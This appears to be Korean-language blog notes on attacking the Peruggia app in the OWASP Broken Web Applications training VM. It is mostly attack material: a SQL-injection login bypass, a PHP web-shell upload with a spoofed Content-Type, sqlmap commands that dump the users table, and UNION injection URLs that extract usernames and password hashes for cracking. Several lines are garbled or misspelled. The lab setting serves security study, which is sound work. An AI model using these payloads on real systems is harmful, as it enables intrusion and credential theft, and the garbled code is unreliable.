owasp 실습 (peruggia)

Web hacking|2020. 12. 7. 11:07

 

sourceforge.net/projects/owaspbwa/files/latest/download

 

OWASP download하기.

vmware에 올리고

 

자기 ip들어가기

 

 

 

 

 

 

peruggia 계정정보 탈취하기.

 

 

 

1) 첫번쨰 방법 로그인

 

' or '1'='1'#

 

 

 

2) 파일업로드를 이용한 계정탈취

 

 

 

php 파일을만들고

 

 

 

 

 

upload한뒤 burp suite로 프록시를잡는다

 

 

 

 

 

그리고 content-Type : appli~이것을

 

content-Type :image/png로 변환한다

 

 

 

그리고

 

 

 

 

 

 

 

forward한뒤

 

저파일올라온것을 클릭하면

 

 

 

 

 

계정탈취가 가능하다~!

 

 

 

 

 

 

-------------------------------------------------------

 

 

 

 

 

3) sqlmap 도구 활용

 

 

 

위치 복사후

 

 

 

 

 

 

1.현재사용중인 데이터베이스 목록

 

python sqlmap.py sqlmap --current-db -u "http://192.168.0.225/peruggia/index.php?action=comment&pic_id=53" --batch

 

 

 

 

 

2 .테이블 목록

python sqlmap.py sqlmap -D perguggia --tables -u "http://192.168.0.225/peruggia/index.php?action=comment&pic_id=53" --batch

 

3. 

python sqlmap.py sqlmap-u "http://192.168.0.225/peruggia/index.php?action=comment&pic_id=53" -D peruggia -T users --batch -dump

 

 

 

 

 

-----------------------------------------------------------------

메모장에 새로운 방법.

 

1) 

 

<? php passthru(GET_['cmd']);?>

<? php apssthru('넣고싶은 명령어');?

 

2)

<? php phpinfo(); ? >

 

 

 

 

 

 

 

3)

 

http://192.168.0.225/peruggia/index.php?action=account

<action name=account href="./account.php">

 

 

 

 

 

-----------------------------------

 

 

union sql injection

 

 

--------------------------------------

 

 

 

 

next

 

 

 

 

 

 

 

index.php?action=comment&pic_id=119

 

 

 

 

 

 

 

 

 

union sql injection

 

 

1)

 

 

http://192.168.0.225/peruggia/index.php?action=comment&pic_id=1 union all select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#;

 

 

 

 

 

 

 

 

 

 

2)

 

 

http://192.168.0.225/peruggia/index.php?action=comment&pic_id=1 union all select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

 

 

 

 

 

 

 

 

 

 

 

 

 

3)

 

 

http://192.168.0.225/peruggia/index.php?action=comment&prc_id=1 union all select 1,2,3,database()#

 

 

 

 

 

 

 

 

 

 

4)

 

 

1 and 1=2 union all select 1,2,3,group_concat(username) from peruggia.users#

 

 

 

 

 

 

5)

 

--- 패스워드 해쉬크랙

 

 

 

 

1 and 1=2 union all select 1,2,3,group_concat(password) from users#

 

 

 

해쉬 크랙하면된다.

 

 

댓글()